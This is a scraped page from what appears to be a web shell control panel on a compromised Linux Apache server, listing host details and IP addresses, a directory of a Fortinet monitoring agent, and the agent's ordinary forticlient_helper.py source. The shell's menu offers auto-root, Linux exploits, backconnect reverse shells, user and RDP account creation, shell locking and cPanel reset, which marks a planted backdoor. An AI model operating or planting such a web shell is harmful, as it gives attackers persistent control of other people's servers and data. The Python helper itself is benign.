Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.224.31.82
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
agent.py
96.8
KB
-rw-r--r--
agent_exceptions.py
110
B
-rw-r--r--
agent_util.py
8.58
KB
-rw-r--r--
aggregator.py
14.89
KB
-rw-r--r--
anomaly.py
2.19
KB
-rw-r--r--
blacklister.py
809
B
-rw-r--r--
container_discovery.py
3.3
KB
-rw-r--r--
display.py
2.06
KB
-rw-r--r--
forticlient_helper.py
2.59
KB
-rw-r--r--
inspector.py
15.7
KB
-rw-r--r--
iperf3.py
2.12
KB
-rw-r--r--
log_matcher.py
4.27
KB
-rw-r--r--
maintenance.py
3.61
KB
-rw-r--r--
pickle_database.py
1.28
KB
-rw-r--r--
plugin_driver.py
4.78
KB
-rw-r--r--
plugin_manager.py
11.04
KB
-rw-r--r--
process_manager.py
851
B
-rw-r--r--
progress_printer.py
837
B
-rw-r--r--
result_queue.py
1.99
KB
-rw-r--r--
schedule.py
3.19
KB
-rw-r--r--
threshold.py
1.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forticlient_helper.py
import json import logging from os import path class ForticlientHelper: data_path = '/Library/Application Support/Fortinet/FortiClient/data/' vpn_data = '/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist' def __init__(self): # # Map file containing data to aggregator handhake key # self.data_files_map = { 'fct_uid.conf' : 'forticlient_serial', 'EMS_sn.conf' : 'ems_serial' } self.log = logging.getLogger() def parse_address(self, url): try: import urllib.parse as urlparse parsed = urlparse.urlparse(url) if parsed.scheme == '': parsed = urlparse.urlparse("http://" + url) host = parsed.netloc try: idx = host.index(':') host = host[0:idx] except: pass host_parts = host.lower().split('.') if len(host_parts) < 4: return None if host_parts[-1] == 'com' and host_parts[-2] == 'fortisase' and host_parts[-4] == 'edge': return host_parts[-3] return None except: return None """ To determine the environment for FortiSASE, we expect to find a server address of the form: <name0>.edge.<environment>.fortisase.com where name0 is arbitrary, and environment is what we will pass to the aggregator. """ def get_vpn_environment(self): import plistlib with open(self.vpn_data, 'rb') as f: data = plistlib.load(f) for profileInfo in data['Profiles'].values(): server_name = profileInfo.get('Server', None) if server_name: env = self.parse_address(server_name) if env: return env raise Exception('No environment profile found') def get_handshake_data(self): if not path.isdir(self.data_path): raise Exception('Missing forticlient data') rv = {} key_count = 0 for file, hs_key in self.data_files_map.items(): key_count += 1 with open(path.join(self.data_path, file), 'r') as df: dv = df.readline().strip() if len(dv) > 0: rv[hs_key] = dv if len(rv.keys()) != key_count: raise Exception('Missing forticlient keys') try: rv['forticlient_environment'] = self.get_vpn_environment() except: raise Exception('Missing VPN data') return rv
Close